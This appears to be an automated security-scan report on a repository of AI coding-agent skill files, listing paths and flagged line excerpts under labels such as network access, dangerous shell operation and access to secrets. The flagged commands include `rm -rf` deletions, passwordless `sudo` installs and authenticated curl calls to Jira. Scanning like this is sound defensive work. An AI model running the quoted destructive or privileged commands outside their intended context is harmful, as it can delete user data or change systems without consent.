author: Andrew Stellman github: "https://github.com/andrewstellman/quality-playbook" version: 1.5.6 - Network accessline 13
github: "https://github.com/andrewstellman/quality-playbook" - Network accessline 57
> Quality Playbook v1.5.6 — by Andrew Stellman > https://github.com/andrewstellman/quality-playbook - Network accessline 58
> https://github.com/andrewstellman/quality-playbook - Network accessline 257
- https://github.com/andrewstellman/quality-playbook
harness/claude-code/skills/quality-playbook/agents/calibration_orchestrator.md
- Dangerous shell operationline 99
3. Reset the benchmark's `quality/` to a known-empty state: `cp -r repos/archive/<bench>/quality/previous_runs/<latest>/ /tmp/save-<bench>/ && rm -rf repos/archive/<bench>/quality/* && cp -r /tmp/save-<bench>/quality/* repos/archive/<bench>
harness/claude-code/skills/quality-playbook/agents/quality-playbook-claude.agent.md
- Network accessline 58
**If not found**, tell the user to install it from https://github.com/andrewstellman/quality-playbook and stop.
harness/claude-code/skills/quality-playbook/agents/quality-playbook.agent.md
- Network accessline 54
> The quality playbook skill isn't installed in this repository yet. Install it from the [quality-playbook repository](https://github.com/andrewstellman/quality-playbook):
harness/claude-code/skills/quality-playbook/quality_gate.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/quality-playbook/references/extended-guide.md
harness/claude-code/skills/quality-playbook/references/review_protocols.md
- Access to secretsline 425
[Credential-related source omitted]
harness/claude-code/skills/react18-lifecycle-patterns/references/componentWillMount.md
- Network accessline 57
componentWillMount() { this.subscription = this.props.eventBus.subscribe(this.handleEvent); fetch(`/api/users/${this.props.userId}`) - Network accessline 58
this.subscription = this.props.eventBus.subscribe(this.handleEvent); fetch(`/api/users/${this.props.userId}`) .then(r => r.json()) - Network accessline 59
fetch(`/api/users/${this.props.userId}`) - Network accessline 77
// All side effects move here - runs after first render this.subscription = this.props.eventBus.subscribe(this.handleEvent); fetch(`/api/users/${this.props.userId}`) - Network accessline 78
this.subscription = this.props.eventBus.subscribe(this.handleEvent); fetch(`/api/users/${this.props.userId}`) .then(r => r.json()) - Network accessline 79
fetch(`/api/users/${this.props.userId}`) - Network accessline 136
componentWillMount() { this.setState({ loading: true, items: [] }); // Case A fetch('/api/items').then(r => r.json()) // Case B - Network accessline 137
this.setState({ loading: true, items: [] }); // Case A fetch('/api/items').then(r => r.json()) // Case B .then(items => this.setState({ items, loading: false })); - Network accessline 138
fetch('/api/items').then(r => r.json()) // Case B - Network accessline 151
componentDidMount() { fetch('/api/items').then(r => r.json()) // Case B → componentDidMount - Network accessline 152
fetch('/api/items').then(r => r.json()) // Case B → componentDidMount
harness/claude-code/skills/react19-concurrent-patterns/references/react19-suspense.md
- Network accessline 88
// Raw promise (not recommended in production): function DataComponent() { const data = use(fetch('/api/data').then(r => r.json())); - Network accessline 89
function DataComponent() { const data = use(fetch('/api/data').then(r => r.json())); return <pre>{JSON.stringify(data, null, 2)}</pre>; - Network accessline 90
const data = use(fetch('/api/data').then(r => r.json())); - Network accessline 111
// Only create promise once per id: const dataPromise = useMemo(() => fetch(`/api/data/${id}`).then(r => r.json()), - Network accessline 112
const dataPromise = useMemo(() => fetch(`/api/data/${id}`).then(r => r.json()), [id] - Network accessline 113
fetch(`/api/data/${id}`).then(r => r.json()),
harness/claude-code/skills/resemble-detect/LICENSE
harness/claude-code/skills/resemble-detect/SKILL.md
- Network accessline 10
metadata: compatibility: >- Requires a Resemble AI API key from https://app.resemble.ai set as RESEMBLE_API_KEY. All media - Network accessline 11
compatibility: >- Requires a Resemble AI API key from https://app.resemble.ai set as RESEMBLE_API_KEY. All media must be accessible through public HTTPS URLs except text detection. - Network accessline 12
[Credential-related source omitted] - Access to secretsline 12
[Credential-related source omitted] - Network accessline 32
[Credential-related source omitted] - Access to secretsline 32
[Credential-related source omitted] - Network accessline 33
- Base docs URL: <https://docs.resemble.ai/welcome>. - Access to secretsline 34
[Credential-related source omitted] - Network accessline 79
{ "url": "https://example.com/suspect.mp4", - Network accessline 80
"url": "https://example.com/suspect.mp4", - Access to secretsline 156
[Credential-related source omitted] - Network accessline 169
[Credential-related source omitted] - Network accessline 212
- [Resemble AI dashboard](https://app.resemble.ai) - Network accessline 213
- [Resemble documentation](https://docs.resemble.ai/welcome)
harness/claude-code/skills/resemble-detect/references/api-reference.md
- Network accessline 7
- **Base URL**: `https://docs.resemble.ai/welcome` - Access to secretsline 8
[Credential-related source omitted] - Network accessline 19
{ "url": "https://example.com/media.mp4", - Network accessline 20
"url": "https://example.com/media.mp4", - Network accessline 55
"consistency": "0.91", "aggregated_score": "0.92", "image": "https://{example-url}" - Network accessline 56
"aggregated_score": "0.92", "image": "https://{example-url}" } - Network accessline 57
"image": "https://{example-url}" - Network accessline 70
"label": "fake", "score": 0.87, "image": "https://{example-url}", - Network accessline 71
"score": 0.87, "image": "https://{example-url}", "ifl": { "score": 0.82, "heatmap": "https://{example-url}" }, - Network accessline 72
"image": "https://{example-url}", - Network accessline 73
"ifl": { "score": 0.82, "heatmap": "https://{example-url}" }, - Network accessline 105
{ "url": "https://example.com/audio.mp3", "json": true } - Network accessline 175
{ "url": "https://example.com/image.png", - Network accessline 176
"url": "https://example.com/image.png", - Network accessline 195
{ "url": "https://example.com/suspect-image.png" } - Network accessline 217
{ "audio_url": "https://example.com/known-speaker.wav", - Network accessline 218
"audio_url": "https://example.com/known-speaker.wav", - Network accessline 226
{ "audio_url": "https://example.com/unknown-speaker.wav", - Network accessline 227
"audio_url": "https://example.com/unknown-speaker.wav",
harness/claude-code/skills/reviewing-oracle-to-postgres-migration/references/oracle-parentheses-from-clause.md
- Network accessline 182
- Reference: [oracle-to-postgres-type-coercion.md](oracle-to-postgres-type-coercion.md) - Other syntax differences - PostgreSQL Documentation: [SELECT Statement](https://www.postgresql.org/docs/current/sql-select.html) - Network accessline 183
- PostgreSQL Documentation: [SELECT Statement](https://www.postgresql.org/docs/current/sql-select.html)
harness/claude-code/skills/reviewing-oracle-to-postgres-migration/references/oracle-to-postgres-to-char-numeric.md
- Network accessline 144
- [oracle-to-postgres-type-coercion.md](oracle-to-postgres-type-coercion.md) - Related type conversion issues - PostgreSQL Documentation: [Data Type Formatting Functions](https://www.postgresql.org/docs/current/functions-formatting.html) - Network accessline 145
- PostgreSQL Documentation: [Data Type Formatting Functions](https://www.postgresql.org/docs/current/functions-formatting.html)
harness/claude-code/skills/reviewing-oracle-to-postgres-migration/references/oracle-to-postgres-type-coercion.md
- Network accessline 171
- [PostgreSQL Type Casting Documentation](https://www.postgresql.org/docs/current/sql-syntax.html) - Network accessline 172
- [Oracle Type Conversion Documentation](https://docs.oracle.com/database/121/SQLRF/sql_elements003.htm) - Network accessline 173
- [Npgsql Exception: Operator Does Not Exist](https://www.npgsql.org/doc/api/Npgsql.NpgsqlException.html)
harness/claude-code/skills/reviewing-oracle-to-postgres-migration/references/postgres-concurrent-transactions.md
- Network accessline 257
- [Npgsql Documentation: Basic Usage](https://www.npgsql.org/doc/basic-usage.html) - Network accessline 258
- [PostgreSQL Documentation: Concurrency Control](https://www.postgresql.org/docs/current/mvcc.html) - Network accessline 259
- [Npgsql GitHub: Multiple Active Result Sets Discussion](https://github.com/npgsql/npgsql/issues/462)
harness/claude-code/skills/reviewing-oracle-to-postgres-migration/references/postgres-refcursor-handling.md
- Network accessline 146
- [PostgreSQL Documentation: Cursors](https://www.postgresql.org/docs/current/plpgsql-cursors.html) - [PostgreSQL FETCH Command](https://www.postgresql.org/docs/current/sql-fetch.html) - Network accessline 147
- [PostgreSQL FETCH Command](https://www.postgresql.org/docs/current/sql-fetch.html) - Network accessline 148
- [Npgsql Refcursor Support](https://github.com/npgsql/npgsql/issues/1887)
harness/claude-code/skills/rhdh-jira/references/assign.md
- Network accessline 43
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST -H 'Content-Type: application/json' \ - Network accessline 60
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \ - Network accessline 84
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \ - Network accessline 209
curl -s -X PUT \ - Network accessline 211
-H "Content-Type: application/json" \ -d '{"fields": {"assignee": {"accountId": "ACCOUNT_ID"}}}' \ "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-1234" - Network accessline 213
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-1234"
harness/claude-code/skills/rhdh-jira/references/auth.md
- Network accessline 5
**Never read the `.jira-token` file into context.** Pass it to `curl -u` via shell substitution. - Network accessline 31
The `AUTH` value is `email:api-token`, passed directly as basic auth credentials via `curl -u "$AUTH"`. - Network accessline 45
CLOUD_ID="2b9e35e3-6bd3-4cec-b838-f4249ee02432" JIRA_BASE="https://redhat.atlassian.net" - Network accessline 46
JIRA_BASE="https://redhat.atlassian.net" - Dangerous shell operationline 60
curl -s -u "$AUTH" "$JIRA_BASE/_edge/tenant_info" | python -c "import json,sys; print(json.load(sys.stdin)['cloudId'])" - Network accessline 60
curl -s -u "$AUTH" "$JIRA_BASE/_edge/tenant_info" | python -c "import json,sys; print(json.load(sys.stdin)['cloudId'])" - Network accessline 65
The `ORG_ID` is visible in the Atlassian admin URL: `https://admin.atlassian.com/o/{ORG_ID}/...`. It can also be found via the Teams API - any team entity returned by `team.teamSearchV2` includes `organizationId` in its response. The value
harness/claude-code/skills/rhdh-jira/references/duplicates.md
- Network accessline 37
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
harness/claude-code/skills/rhdh-jira/references/graphql-queries.md
- Network accessline 5
**Do not read the `.jira-token` file into context.** Pass it to `curl -u` via shell substitution (see Authentication below). - Network accessline 25
curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \ - Network accessline 33
curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \ - Network accessline 43
curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \ - Network accessline 76
curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \ - Network accessline 90
curl -s -u "$AUTH" -X POST \ - Network accessline 112
# Next page - add after: "abc123" curl -s -u "$AUTH" -X POST \ - Network accessline 113
curl -s -u "$AUTH" -X POST \ - Network accessline 143
curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \ - Network accessline 168
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST -H 'Content-Type: application/json' \
harness/claude-code/skills/rhdh-jira/references/plan.md
harness/claude-code/skills/rhdh-jira/references/refine.md
harness/claude-code/skills/rhdh-jira/references/release.md
- Network accessline 31
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
harness/claude-code/skills/rhdh-jira/references/rest-api-fallback.md
- Network accessline 26
curl -s -o jira-openapi.json \ - Network accessline 27
'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json' - Network accessline 61
# List all fields (standard + custom) with IDs and types curl -s -u "$AUTH" \ - Dangerous shell operationline 62
curl -s -u "$AUTH" 'https://redhat.atlassian.net/rest/api/3/field' | python -c " - Network accessline 62
curl -s -u "$AUTH" \ - Network accessline 63
'https://redhat.atlassian.net/rest/api/3/field' | \ - Dangerous shell operationline 77
curl -s -u "$AUTH" 'https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123/editmeta' | python -c " - Network accessline 77
curl -s -u "$AUTH" \ - Network accessline 78
'https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123/editmeta' | \ - Network accessline 93
|--|---------|---------| | **Spec format** | OpenAPI 3.0 JSON (~4MB downloadable file) | No spec file - self-describing via introspection queries | | **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/pla - Network accessline 94
| **Spec format** | OpenAPI 3.0 JSON (~4MB downloadable file) | No spec file - self-describing via introspection queries | | **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json' - Network accessline 95
| **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json'` | `__schema` or `__type` introspection queries against the live endpoint | - Network accessline 104
curl -s -X PUT \ - Network accessline 106
-H "Content-Type: application/json" \ -d '{"fields": {"customfield_10028": 5}}' \ "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 108
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 114
curl -s -X PUT \ - Network accessline 116
-H "Content-Type: application/json" \ -d '{"fields": {"customfield_10795": {"value": "M"}}}' \ "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 118
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 126
curl -s -X PUT \ - Network accessline 128
-H "Content-Type: application/json" \ -d '{"fields": {"customfield_10001": {"id": "TEAM_ID"}}}' \ "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 130
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 138
curl -s -X PUT \ - Network accessline 140
-H "Content-Type: application/json" \ -d '{"fields": {"customfield_10785": {"value": "Enhancement"}}}' \ "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 142
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 163
curl -s -u "$AUTH" \ - Network accessline 164
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123?fields=customfield_10028,customfield_10795,customfield_10001"
harness/claude-code/skills/rhdh-jira/references/sprint-report.md
- Network accessline 38
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
harness/claude-code/skills/rhdh-jira/references/to-epic.md
harness/claude-code/skills/rhdh-jira/references/to-issue.md
harness/claude-code/skills/rhdh-jira/references/update-jira-status.md
- Network accessline 57
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
harness/claude-code/skills/rhdh-jira/scripts/parse_issues.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/rhdh-jira/scripts/setup.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 211
else: print(" [FAIL] acli not found on PATH") print(" Install from: https://developer.atlassian.com/cloud/acli/") - Network accessline 212
print(" [FAIL] acli not found on PATH") print(" Install from: https://developer.atlassian.com/cloud/acli/") return - Network accessline 213
print(" Install from: https://developer.atlassian.com/cloud/acli/") - Network accessline 239
print(" Then: chmod 600 .jira-token") print(" REST API/GraphQL fallback will not work without it.") print(" See: https://developer.atlassian.com/cloud/acli/guides/how-to-get-started/") - Network accessline 241
print(" See: https://developer.atlassian.com/cloud/acli/guides/how-to-get-started/")
harness/claude-code/skills/rhdh-local/references/customization-system.md
- Access to secretsline 23
[Credential-related source omitted]
harness/claude-code/skills/rhdh-local/references/env-reference.md
- Network accessline 25
|----------|---------|-------------| | `GITHUB_ORG` | | GitHub organization for catalog ingestion | | `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) | - Network accessline 26
| `GITHUB_ORG` | | GitHub organization for catalog ingestion | | `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) | | `AUTH_GITHUB_CLIENT_ID` | | OAuth app client ID | - Network accessline 27
| `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) | - Access to secretsline 29
[Credential-related source omitted] - Network accessline 36
| Variable | Default | Description | |----------|---------|-------------| | `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL | - Network accessline 37
|----------|---------|-------------| | `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL | | `JENKINS_USERNAME` | | Jenkins admin user | - Network accessline 38
| `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL | - Network accessline 47
| Variable | Default | Description | |----------|---------|-------------| | `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` | - Network accessline 48
|----------|---------|-------------| | `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` | | `JIRA_TOKEN` | | Base64-encoded API token | - Network accessline 49
| `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` | - Network accessline 80
| Variable | Default | Description | |----------|---------|-------------| | `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint | - Network accessline 81
|----------|---------|-------------| | `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint | | `OLLAMA_MODEL` | `llama3.2:1b` | Model to use | - Network accessline 82
| `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint | - Access to secretsline 99
[Credential-related source omitted] - Access to secretsline 107
[Credential-related source omitted] - Access to secretsline 125
[Credential-related source omitted] - Network accessline 134
| `NODE_TLS_REJECT_UNAUTHORIZED` | `0` | Set to `1` in production | | `LOG_LEVEL` | | RHDH log level (debug, info, warn, error) | | `BASE_URL` | `http://localhost:7007` | RHDH base URL | - Network accessline 135
| `LOG_LEVEL` | | RHDH log level (debug, info, warn, error) | | `BASE_URL` | `http://localhost:7007` | RHDH base URL | | `SEGMENT_WRITE_KEY` | | Telemetry key (empty = disabled) | - Network accessline 136
| `BASE_URL` | `http://localhost:7007` | RHDH base URL | - Access to secretsline 149
[Credential-related source omitted]
harness/claude-code/skills/rhdh-local/references/troubleshooting.md
- Network accessline 17
# 2. Test at http://localhost:7007 - Access to secretsline 31
[Credential-related source omitted] - Network accessline 102
# Manual checks curl http://localhost:7007/api/catalog/health # Catalog backend - Network accessline 103
curl http://localhost:7007/api/catalog/health # Catalog backend - Network accessline 104
curl http://localhost:7007 # Frontend
harness/claude-code/skills/rhdh-local/rhdh_local/__init__.py
- Executable scriptline 1
Executable file
harness/claude-code/skills/rhdh-local/rhdh_local/backup.py
- Executable scriptline 1
Executable file
harness/claude-code/skills/rhdh-local/rhdh_local/cli.py
- Executable scriptline 1
Executable file - Network accessline 163
rhdh_running = False try: with socket.create_connection(("localhost", 7007), timeout=1): - Network accessline 164
try: with socket.create_connection(("localhost", 7007), timeout=1): rhdh_running = True - Network accessline 165
with socket.create_connection(("localhost", 7007), timeout=1): - Network accessline 170
if rhdh_running: checks.append({"name": "rhdh_running", "status": "pass", "message": "running on :7007"}) fmt.log_ok("RHDH: running on http://localhost:7007") - Network accessline 171
checks.append({"name": "rhdh_running", "status": "pass", "message": "running on :7007"}) fmt.log_ok("RHDH: running on http://localhost:7007") else: - Network accessline 172
fmt.log_ok("RHDH: running on http://localhost:7007") - Access to secretsline 437
[Credential-related source omitted] - Access to secretsline 439
[Credential-related source omitted]
harness/claude-code/skills/rhdh-local/rhdh_local/compose.py
- Executable scriptline 1
Executable file
harness/claude-code/skills/rhdh-local/rhdh_local/health.py
- Executable scriptline 1
Executable file - Network accessline 62
port_open = False try: with socket.create_connection(("localhost", 7007), timeout=2): - Network accessline 63
try: with socket.create_connection(("localhost", 7007), timeout=2): port_open = True - Network accessline 64
with socket.create_connection(("localhost", 7007), timeout=2): - Network accessline 72
name="rhdh_port", status="pass", message="RHDH reachable on http://localhost:7007", - Network accessline 73
status="pass", message="RHDH reachable on http://localhost:7007", ) - Network accessline 74
message="RHDH reachable on http://localhost:7007", - Network accessline 111
if port_open: try: with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp: - Network accessline 112
try: with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp: body = resp.read().decode() - Network accessline 113
with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp:
harness/claude-code/skills/rhdh-local/rhdh_local/settings.py
- Executable scriptline 1
Executable file
harness/claude-code/skills/rhdh-local/rhdh_local/sync.py
harness/claude-code/skills/rhdh-local/scripts/NOTICE
- Executable scriptline 1
Executable file - Network accessline 6
Project: rhdh-lab Author: Ben Wilcock Repository: https://github.com/benwilcock/rhdh-lab - Network accessline 7
Author: Ben Wilcock Repository: https://github.com/benwilcock/rhdh-lab License: Apache License 2.0 - Network accessline 8
Repository: https://github.com/benwilcock/rhdh-lab - Network accessline 17
http://www.apache.org/licenses/LICENSE-2.0
harness/claude-code/skills/rhdh-local/scripts/fetch-plugin-metadata.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 4
Replaces the manual 3-step curl chain in the enable-plugin workflow. - Network accessline 23
_CONTENTS_URL = ( "https://api.github.com/repos/redhat-developer/rhdh-plugin-export-overlays" - Network accessline 24
"https://api.github.com/repos/redhat-developer/rhdh-plugin-export-overlays" - Network accessline 25
"/contents/catalog-entities/extensions/plugins" ) _RAW_BASE = "https://raw.githubusercontent.com/redhat-developer/rhdh-plugin-export-overlays/main" - Network accessline 27
_RAW_BASE = "https://raw.githubusercontent.com/redhat-developer/rhdh-plugin-export-overlays/main" - Network accessline 296
req = urllib.request.Request(url, headers={"User-Agent": "rhdh-skill/0.1"}) - Network accessline 297
with urllib.request.urlopen(req, timeout=30) as resp: - Network accessline 341
url = ( f"https://api.github.com/repos/redhat-developer/" - Network accessline 342
f"https://api.github.com/repos/redhat-developer/"
harness/claude-code/skills/rhdh-local/scripts/rhdh-local
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/rhdh-local/workflows/enable-plugin.md
- Network accessline 157
- [ ] No errors in `podman compose logs install-dynamic-plugins` - [ ] No errors in `podman compose logs rhdh` related to the plugin - [ ] RHDH accessible at `http://localhost:7007` - Network accessline 158
- [ ] No errors in `podman compose logs rhdh` related to the plugin - [ ] RHDH accessible at `http://localhost:7007` - [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health` - Network accessline 159
- [ ] RHDH accessible at `http://localhost:7007` - [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health` </success_criteria> - Network accessline 160
- [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health`
harness/claude-code/skills/rhdh-local/workflows/switch-mode.md
- Access to secretsline 74
[Credential-related source omitted] - Network accessline 92
# 2. Test at http://localhost:7007 - Network accessline 130
- [ ] `rhdh-local/` git status is clean (`git status` shows no modified files) - [ ] RHDH starts at `http://localhost:7007` with Guest login - Network accessline 131
- [ ] RHDH starts at `http://localhost:7007` with Guest login
harness/claude-code/skills/rhdh-local/workflows/test-plugin.md
harness/claude-code/skills/rhdh/references/rhdh-repos.md
- Network accessline 9
- **Upstream:** <https://github.com/redhat-developer/rhdh> - Network accessline 11
- **Tech stack:** Node.js 22, TypeScript, React, Yarn 4, Turbo monorepo - **Key concepts:** - **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module l - Network accessline 12
- **Key concepts:** - **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module loader), not compiled into the app. `packages/app/` renders `<ScalprumRoo - Network accessline 13
- **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module loader), not compiled into the app. `packages/app/` renders `<ScalprumRoot>` which fetches plug - Network accessline 23
- **Upstream:** <https://gitlab.cee.redhat.com/rhidp/rhdh> - Network accessline 29
- **Upstream:** <https://github.com/redhat-developer/rhdh-cli> - Network accessline 43
- **Upstream:** <https://github.com/redhat-developer/rhdh-local> - Network accessline 57
- **Upstream:** <https://github.com/redhat-developer/rhdh-operator> - Network accessline 72
- **Upstream:** <https://github.com/redhat-developer/rhdh-chart> - Network accessline 85
- **Upstream:** <https://github.com/redhat-developer/rhdh-plugin-export-overlays> - Network accessline 98
- **Upstream:** <https://github.com/redhat-developer/rhdh-plugin-export-utils> - Network accessline 111
- **Upstream:** <https://gitlab.cee.redhat.com/rhidp/rhdh-plugin-catalog> - Network accessline 125
- **Upstream:** <https://github.com/redhat-developer/rhdh-plugins> - Network accessline 139
- **Upstream:** <https://github.com/redhat-developer/rhdh-dynamic-plugin-factory> - Network accessline 149
- **Upstream:** <https://github.com/backstage/backstage>
harness/claude-code/skills/rhdh/references/slack-notification.md
- Network accessline 109
https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1234 - Network accessline 125
Priority: Add plugin configuration to enable smoke tests See: https://github.com/.../README.md#smoke-test-config - Network accessline 126
See: https://github.com/.../README.md#smoke-test-config - Network accessline 128
https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1235 - Network accessline 143
https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1236
harness/claude-code/skills/rhdh/references/versions.md
- Network accessline 19
Based on [Backstage 1.45.3](https://backstage.io/docs/releases/v1.45.0) - Network accessline 53
Based on [Backstage 1.45.3](https://backstage.io/docs/releases/v1.45.0) - Network accessline 87
Based on [Backstage 1.42.5](https://backstage.io/docs/releases/v1.42.0) - Network accessline 121
Based on [Backstage 1.39.1](https://backstage.io/docs/releases/v1.39.0) - Network accessline 155
Based on [Backstage 1.36.1](https://backstage.io/docs/releases/v1.36.0) - Network accessline 193
Check the [`package.json`](https://github.com/redhat-developer/rhdh/blob/main/packages/app/package.json) in the `app` package. - Network accessline 197
Check the [`package.json`](https://github.com/redhat-developer/rhdh/blob/main/packages/backend/package.json) in the `backend` package. - Network accessline 210
Check the [Version Matrix](https://github.com/redhat-developer/rhdh/blob/main/docs/dynamic-plugins/versions.md) for specific CLI versions if needed.
harness/claude-code/skills/rhdh/rhdh/__init__.py
- Executable scriptline 1
Executable file
harness/claude-code/skills/rhdh/rhdh/__main__.py
- Executable scriptline 1
Executable file
harness/claude-code/skills/rhdh/rhdh/cli.py
- Executable scriptline 1
Executable file - Network accessline 152
checks.append({"name": "gh_cli", "status": "fail", "message": "not installed"}) fmt.log_fail("gh CLI: not installed") next_steps.append("Install gh CLI: https://cli.github.com/") - Network accessline 154
next_steps.append("Install gh CLI: https://cli.github.com/") - Network accessline 296
checks.append({"name": "gh_installed", "status": "fail", "message": "not installed"}) fmt.log_fail("gh CLI not installed") issues.append("Install gh CLI: https://cli.github.com/") - Network accessline 298
issues.append("Install gh CLI: https://cli.github.com/") - Network accessline 404
rhdh_running = False try: with socket.create_connection(("localhost", 7007), timeout=1): - Network accessline 405
try: with socket.create_connection(("localhost", 7007), timeout=1): rhdh_running = True - Network accessline 406
with socket.create_connection(("localhost", 7007), timeout=1): - Network accessline 411
if rhdh_running: checks.append({"name": "rhdh_port_7007", "status": "pass", "message": "running"}) fmt.log_ok(" RHDH: running on http://localhost:7007") - Network accessline 412
checks.append({"name": "rhdh_port_7007", "status": "pass", "message": "running"}) fmt.log_ok(" RHDH: running on http://localhost:7007") else: - Network accessline 413
fmt.log_ok(" RHDH: running on http://localhost:7007")
harness/claude-code/skills/rhdh/rhdh/config.py
- Executable scriptline 1
Executable file - Access to secretsline 155
[Credential-related source omitted] - Access to secretsline 176
[Credential-related source omitted] - Access to secretsline 177
[Credential-related source omitted] - Access to secretsline 400
[Credential-related source omitted] - Access to secretsline 442
[Credential-related source omitted] - Access to secretsline 474
[Credential-related source omitted] - Dangerous shell operationline 922
[f"rm -rf {submodule_path}", f"rhdh setup submodule add {name}"], - Dangerous shell operationline 928
[f"rm -rf {submodule_path}", f"rhdh setup submodule add {name}"],
harness/claude-code/skills/rhdh/rhdh/formatters.py
harness/claude-code/skills/rhdh/rhdh/todo.py
- Executable scriptline 1
Executable file
harness/claude-code/skills/rhdh/rhdh/worklog.py
- Executable scriptline 1
Executable file
harness/claude-code/skills/rhdh/rhdh/workspace.py
- Executable scriptline 1
Executable file
harness/claude-code/skills/rhdh/scripts/rhdh
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/rhino3d-scripts/SKILL.md
- Access to secretsline 218
[Credential-related source omitted] - Network accessline 268
- [RhinoScript landing](https://docs.mcneel.com/rhino/8/help/en-us/information/rhinoscripting.htm) - Network accessline 269
- [Developer hub](https://developer.rhino3d.com/) - Network accessline 270
- [RhinoCommon API index](https://mcneel.github.io/rhinocommon-api-docs/api/RhinoCommon/html/R_Project_RhinoCommon.htm) - Network accessline 271
- [Example scripts repo](https://github.com/mcneel/rhino-developer-samples/tree/8/rhinoscript)
harness/claude-code/skills/rhino3d-scripts/references/macros-and-loading.md
- Access to secretsline 118
[Credential-related source omitted]
harness/claude-code/skills/ruby-mcp-server-generator/references/project-templates.md
- Network accessline 8
source 'https://rubygems.org'
harness/claude-code/skills/sandbox-npm-install/scripts/install.sh
- Executable scriptline 1
#!/usr/bin/env bash - Dangerous shell operationline 99
rm -rf "$DEPS_DIR" - Dangerous shell operationline 126
rm -rf node_modules - Dangerous shell operationline 180
elif command -v sudo &>/dev/null && sudo -n true 2>/dev/null; then - Dangerous shell operationline 181
# Non-root but passwordless sudo available — install browsers then system deps - Dangerous shell operationline 183
sudo npx playwright install-deps chromium - Dangerous shell operationline 186
echo "System dependencies not installed (no root/sudo access)." - Dangerous shell operationline 187
echo "Playwright tests may fail. Run: sudo npx playwright install-deps chromium"
harness/claude-code/skills/scoutqa-test/SKILL.md
- Network accessline 59
scoutqa --url "https://example.com" --prompt "Your test instructions" - Network accessline 64
- **Execution ID** (e.g., `019b831d-xxx`) - **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`) - Network accessline 65
- **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`) - Network accessline 95
# Seamlessly test a locally running app when you're developing your app scoutqa --url "http://localhost:3000" --prompt "Test the registration form" - Network accessline 96
scoutqa --url "http://localhost:3000" --prompt "Test the registration form" - Network accessline 113
scoutqa --url "https://example.com" --prompt " - Network accessline 122
scoutqa --url "https://shop.example.com" --prompt " - Network accessline 133
# Test 1: Authentication & security scoutqa --url "https://app.example.com" --prompt " - Network accessline 134
scoutqa --url "https://app.example.com" --prompt " - Network accessline 139
# Test 2: Core features (runs in parallel) scoutqa --url "https://app.example.com" --prompt " - Network accessline 140
scoutqa --url "https://app.example.com" --prompt " - Network accessline 145
# Test 3: Accessibility (runs in parallel) scoutqa --url "https://app.example.com" --prompt " - Network accessline 146
scoutqa --url "https://app.example.com" --prompt " - Network accessline 251
scoutqa --url "http://localhost:3000/register" --prompt " - Network accessline 301
